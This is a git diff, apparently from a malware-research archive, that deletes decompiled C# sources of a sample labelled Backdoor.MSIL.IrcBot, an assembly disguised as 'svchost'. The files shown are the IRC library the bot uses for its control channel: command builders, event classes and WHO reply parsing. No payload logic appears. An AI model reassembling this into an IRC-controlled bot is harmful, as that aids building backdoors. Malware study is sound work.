- public static string Mode(string target, string[] newModes, string[] newModeParameters)
- {
- if (newModes == null)
- throw new ArgumentNullException(nameof (newModes));
- if (newModeParameters == null)
- throw new ArgumentNullException(nameof (newModeParameters));
- if (newModes.Length != newModeParameters.Length)
- throw new ArgumentException("newModes and newModeParameters must have the same size.");
- StringBuilder stringBuilder1 = new StringBuilder(newModes.Length);
- StringBuilder stringBuilder2 = new StringBuilder();
- int num = 3;
- if (newModes.Length > num)
- throw new ArgumentOutOfRangeException("newModes.Length", (object) newModes.Length, string.Format("Mode change list is too large (> {0}).", (object) num));
- for (int index1 = 0; index1 <= newModes.Length; index1 += num)
- {
- for (int index2 = 0; index2 < num && index1 + index2 < newModes.Length; ++index2)
- stringBuilder1.Append(newModes[index1 + index2]);
- for (int index3 = 0; index3 < num && index1 + index3 < newModeParameters.Length; ++index3)
- {
- stringBuilder2.Append(newModeParameters[index1 + index3]);
- stringBuilder2.Append(" ");
- }
- }
- if (stringBuilder2.Length > 0)
- {
- --stringBuilder2.Length;
- stringBuilder1.Append(" ");
- stringBuilder1.Append(stringBuilder2.ToString());
- }
- return Rfc2812.Mode(target, stringBuilder1.ToString());
- }
-
- public static string Service(string nickname, string distribution, string info) => "SERVICE " + nickname + " * " + distribution + " * * :" + info;
-
- public static string Invite(string nickname, string channel) => "INVITE " + nickname + " " + channel;
-
- public static string Who() => "WHO";
-
- public static string Who(string mask) => "WHO " + mask;
-
- public static string Who(string mask, bool ircop) => ircop ? "WHO " + mask + " o" : "WHO " + mask;
-
- public static string Whois(string mask) => "WHOIS " + mask;
-
- public static string Whois(string[] masks) => "WHOIS " + string.Join(",", masks);
-
- public static string Whois(string target, string mask) => "WHOIS " + target + " " + mask;
-
- public static string Whois(string target, string[] masks)
- {
- string str = string.Join(",", masks);
- return "WHOIS " + target + " " + str;
- }
-
- public static string Whowas(string nickname) => "WHOWAS " + nickname;
-
- public static string Whowas(string[] nicknames) => "WHOWAS " + string.Join(",", nicknames);
-
- public static string Whowas(string nickname, string count) => "WHOWAS " + nickname + " " + count + " ";
-
- public static string Whowas(string[] nicknames, string count) => "WHOWAS " + string.Join(",", nicknames) + " " + count + " ";
-
- public static string Whowas(string nickname, string count, string target) => "WHOWAS " + nickname + " " + count + " " + target;
-
- public static string Whowas(string[] nicknames, string count, string target) => "WHOWAS " + string.Join(",", nicknames) + " " + count + " " + target;
-
- public static string Kill(string nickname, string comment) => "KILL " + nickname + " :" + comment;
-
- public static string Ping(string server) => "PING " + server;
-
- public static string Ping(string server, string server2) => "PING " + server + " " + server2;
-
- public static string Pong(string server) => "PONG " + server;
-
- public static string Pong(string server, string server2) => "PONG " + server + " " + server2;
-
- public static string Error(string errormessage) => "ERROR :" + errormessage;
-
- public static string Away() => "AWAY";
-
- public static string Away(string awaytext) => "AWAY :" + awaytext;
-
- public static string Rehash() => "REHASH";
-
- public static string Die() => "DIE";
-
- public static string Restart() => "RESTART";
-
- public static string Summon(string user) => "SUMMON " + user;
-
- public static string Summon(string user, string target) => "SUMMON " + user + " " + target;
-
- public static string Summon(string user, string target, string channel) => "SUMMON " + user + " " + target + " " + channel;
-
- public static string Users() => "USERS";
-
- public static string Users(string target) => "USERS " + target;
-
- public static string Wallops(string wallopstext) => "WALLOPS :" + wallopstext;
-
- public static string Userhost(string nickname) => "USERHOST " + nickname;
-
- public static string Userhost(string[] nicknames) => "USERHOST " + string.Join(" ", nicknames);
-
- public static string Ison(string nickname) => "ISON " + nickname;
-
- public static string Ison(string[] nicknames) => "ISON " + string.Join(" ", nicknames);
-
- public static string Quit() => "QUIT";
-
- public static string Quit(string quitmessage) => "QUIT :" + quitmessage;
-
- public static string Squit(string server, string comment) => "SQUIT " + server + " :" + comment;
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/SendType.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/SendType.cs
deleted file mode 100644
index edcbb5aa..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/SendType.cs
+++ /dev/null
@@ -1,17 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.SendType
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public enum SendType
- {
- Message,
- Action,
- Notice,
- CtcpReply,
- CtcpRequest,
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/SmartIrc4netException.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/SmartIrc4netException.cs
deleted file mode 100644
index bdbfc588..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/SmartIrc4netException.cs
+++ /dev/null
@@ -1,34 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.SmartIrc4netException
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-using System;
-using System.Runtime.Serialization;
-
-namespace Meebey.SmartIrc4net
-{
- [Serializable]
- public class SmartIrc4netException : ApplicationException
- {
- public SmartIrc4netException()
- {
- }
-
- public SmartIrc4netException(string message)
- : base(message)
- {
- }
-
- public SmartIrc4netException(string message, Exception e)
- : base(message, e)
- {
- }
-
- protected SmartIrc4netException(SerializationInfo info, StreamingContext context)
- : base(info, context)
- {
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/TopicChangeEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/TopicChangeEventArgs.cs
deleted file mode 100644
index 5b80c716..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/TopicChangeEventArgs.cs
+++ /dev/null
@@ -1,33 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.TopicChangeEventArgs
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public class TopicChangeEventArgs : IrcEventArgs
- {
- private string _Channel;
- private string _Who;
- private string _NewTopic;
-
- public string Channel => this._Channel;
-
- public string Who => this._Who;
-
- public string NewTopic => this._NewTopic;
-
- internal TopicChangeEventArgs(
- IrcMessageData data,
- string channel,
- string who,
- string newtopic)
- : base(data)
- {
- this._Channel = channel;
- this._Who = who;
- this._NewTopic = newtopic;
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/TopicChangeEventHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/TopicChangeEventHandler.cs
deleted file mode 100644
index baf23a82..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/TopicChangeEventHandler.cs
+++ /dev/null
@@ -1,10 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.TopicChangeEventHandler
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public delegate void TopicChangeEventHandler(object sender, TopicChangeEventArgs e);
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/TopicEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/TopicEventArgs.cs
deleted file mode 100644
index 52436799..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/TopicEventArgs.cs
+++ /dev/null
@@ -1,25 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.TopicEventArgs
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public class TopicEventArgs : IrcEventArgs
- {
- private string _Channel;
- private string _Topic;
-
- public string Channel => this._Channel;
-
- public string Topic => this._Topic;
-
- internal TopicEventArgs(IrcMessageData data, string channel, string topic)
- : base(data)
- {
- this._Channel = channel;
- this._Topic = topic;
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/TopicEventHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/TopicEventHandler.cs
deleted file mode 100644
index b35afc66..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/TopicEventHandler.cs
+++ /dev/null
@@ -1,10 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.TopicEventHandler
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public delegate void TopicEventHandler(object sender, TopicEventArgs e);
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/UnbanEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/UnbanEventArgs.cs
deleted file mode 100644
index e058fe8e..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/UnbanEventArgs.cs
+++ /dev/null
@@ -1,29 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.UnbanEventArgs
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public class UnbanEventArgs : IrcEventArgs
- {
- private string _Channel;
- private string _Who;
- private string _Hostmask;
-
- public string Channel => this._Channel;
-
- public string Who => this._Who;
-
- public string Hostmask => this._Hostmask;
-
- internal UnbanEventArgs(IrcMessageData data, string channel, string who, string hostmask)
- : base(data)
- {
- this._Channel = channel;
- this._Who = who;
- this._Hostmask = hostmask;
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/UnbanEventHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/UnbanEventHandler.cs
deleted file mode 100644
index 61871879..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/UnbanEventHandler.cs
+++ /dev/null
@@ -1,10 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.UnbanEventHandler
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public delegate void UnbanEventHandler(object sender, UnbanEventArgs e);
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/VoiceEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/VoiceEventArgs.cs
deleted file mode 100644
index 4e3ade57..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/VoiceEventArgs.cs
+++ /dev/null
@@ -1,29 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.VoiceEventArgs
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public class VoiceEventArgs : IrcEventArgs
- {
- private string _Channel;
- private string _Who;
- private string _Whom;
-
- public string Channel => this._Channel;
-
- public string Who => this._Who;
-
- public string Whom => this._Whom;
-
- internal VoiceEventArgs(IrcMessageData data, string channel, string who, string whom)
- : base(data)
- {
- this._Channel = channel;
- this._Who = who;
- this._Whom = whom;
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/VoiceEventHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/VoiceEventHandler.cs
deleted file mode 100644
index 124030f2..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/VoiceEventHandler.cs
+++ /dev/null
@@ -1,10 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.VoiceEventHandler
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public delegate void VoiceEventHandler(object sender, VoiceEventArgs e);
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/WhoEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/WhoEventArgs.cs
deleted file mode 100644
index 2ac23596..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/WhoEventArgs.cs
+++ /dev/null
@@ -1,56 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.WhoEventArgs
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-using System;
-
-namespace Meebey.SmartIrc4net
-{
- public class WhoEventArgs : IrcEventArgs
- {
- private WhoInfo f_WhoInfo;
-
- [Obsolete("Use WhoEventArgs.WhoInfo instead.")]
- public string Channel => this.f_WhoInfo.Channel;
-
- [Obsolete("Use WhoEventArgs.WhoInfo instead.")]
- public string Nick => this.f_WhoInfo.Nick;
-
- [Obsolete("Use WhoEventArgs.WhoInfo instead.")]
- public string Ident => this.f_WhoInfo.Ident;
-
- [Obsolete("Use WhoEventArgs.WhoInfo instead.")]
- public string Host => this.f_WhoInfo.Host;
-
- [Obsolete("Use WhoEventArgs.WhoInfo instead.")]
- public string Realname => this.f_WhoInfo.Realname;
-
- [Obsolete("Use WhoEventArgs.WhoInfo instead.")]
- public bool IsAway => this.f_WhoInfo.IsAway;
-
- [Obsolete("Use WhoEventArgs.WhoInfo instead.")]
- public bool IsOp => this.f_WhoInfo.IsOp;
-
- [Obsolete("Use WhoEventArgs.WhoInfo instead.")]
- public bool IsVoice => this.f_WhoInfo.IsVoice;
-
- [Obsolete("Use WhoEventArgs.WhoInfo instead.")]
- public bool IsIrcOp => this.f_WhoInfo.IsIrcOp;
-
- [Obsolete("Use WhoEventArgs.WhoInfo instead.")]
- public string Server => this.f_WhoInfo.Server;
-
- [Obsolete("Use WhoEventArgs.WhoInfo instead.")]
- public int HopCount => this.f_WhoInfo.HopCount;
-
- public WhoInfo WhoInfo => this.f_WhoInfo;
-
- internal WhoEventArgs(IrcMessageData data, WhoInfo whoInfo)
- : base(data)
- {
- this.f_WhoInfo = whoInfo;
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/WhoEventHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/WhoEventHandler.cs
deleted file mode 100644
index 33302cb6..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/WhoEventHandler.cs
+++ /dev/null
@@ -1,10 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.WhoEventHandler
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public delegate void WhoEventHandler(object sender, WhoEventArgs e);
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/WhoInfo.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/WhoInfo.cs
deleted file mode 100644
index adde9a27..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/WhoInfo.cs
+++ /dev/null
@@ -1,110 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.WhoInfo
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-using System;
-
-namespace Meebey.SmartIrc4net
-{
- public class WhoInfo
- {
- private string f_Channel;
- private string f_Ident;
- private string f_Host;
- private string f_Server;
- private string f_Nick;
- private int f_HopCount;
- private string f_Realname;
- private bool f_IsAway;
- private bool f_IsOp;
- private bool f_IsVoice;
- private bool f_IsIrcOp;
- private bool f_IsRegistered;
-
- public string Channel => this.f_Channel;
-
- public string Ident => this.f_Ident;
-
- public string Host => this.f_Host;
-
- public string Server => this.f_Server;
-
- public string Nick => this.f_Nick;
-
- public int HopCount => this.f_HopCount;
-
- public string Realname => this.f_Realname;
-
- public bool IsAway => this.f_IsAway;
-
- public bool IsOp => this.f_IsOp;
-
- public bool IsVoice => this.f_IsVoice;
-
- public bool IsIrcOp => this.f_IsIrcOp;
-
- public bool IsRegistered => this.f_IsRegistered;
-
- private WhoInfo()
- {
- }
-
- public static WhoInfo Parse(IrcMessageData data)
- {
- WhoInfo whoInfo = new WhoInfo();
- whoInfo.f_Channel = data.RawMessageArray[3];
- whoInfo.f_Ident = data.RawMessageArray[4];
- whoInfo.f_Host = data.RawMessageArray[5];
- whoInfo.f_Server = data.RawMessageArray[6];
- whoInfo.f_Nick = data.RawMessageArray[7];
- whoInfo.f_Realname = string.Join(" ", data.MessageArray, 1, data.MessageArray.Length - 1);
- string message = data.MessageArray[0];
- try
- {
- int.Parse(message);
- }
- catch (FormatException ex)
- {
- }
- string rawMessage = data.RawMessageArray[8];
- bool flag1 = false;
- bool flag2 = false;
- bool flag3 = false;
- bool flag4 = false;
- bool flag5 = false;
- int length = rawMessage.Length;
- for (int index = 0; index < length; ++index)
- {
- switch (rawMessage[index])
- {
- case '*':
- flag3 = true;
- break;
- case '+':
- flag2 = true;
- break;
- case '@':
- flag1 = true;
- break;
- case 'G':
- flag4 = true;
- break;
- case 'H':
- flag4 = false;
- break;
- case 'r':
- flag5 = true;
- break;
- }
- }
- whoInfo.f_IsAway = flag4;
- whoInfo.f_IsOp = flag1;
- whoInfo.f_IsVoice = flag2;
- whoInfo.f_IsIrcOp = flag3;
- whoInfo.f_IsRegistered = flag5;
- return whoInfo;
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/WriteLineEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/WriteLineEventArgs.cs
deleted file mode 100644
index 3fd7f6df..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/WriteLineEventArgs.cs
+++ /dev/null
@@ -1,19 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.WriteLineEventArgs
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-using System;
-
-namespace Meebey.SmartIrc4net
-{
- public class WriteLineEventArgs : EventArgs
- {
- private string _Line;
-
- public string Line => this._Line;
-
- internal WriteLineEventArgs(string line) => this._Line = line;
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/WriteLineEventHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/WriteLineEventHandler.cs
deleted file mode 100644
index 0c98bf2d..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/WriteLineEventHandler.cs
+++ /dev/null
@@ -1,10 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.WriteLineEventHandler
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public delegate void WriteLineEventHandler(object sender, WriteLineEventArgs e);
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Starksoft/Net/Proxy/CreateConnectionAsyncCompletedEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Starksoft/Net/Proxy/CreateConnectionAsyncCompletedEventArgs.cs
deleted file mode 100644
index 3ec888fc..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Starksoft/Net/Proxy/CreateConnectionAsyncCompletedEventArgs.cs
+++ /dev/null
@@ -1,28 +0,0 @@
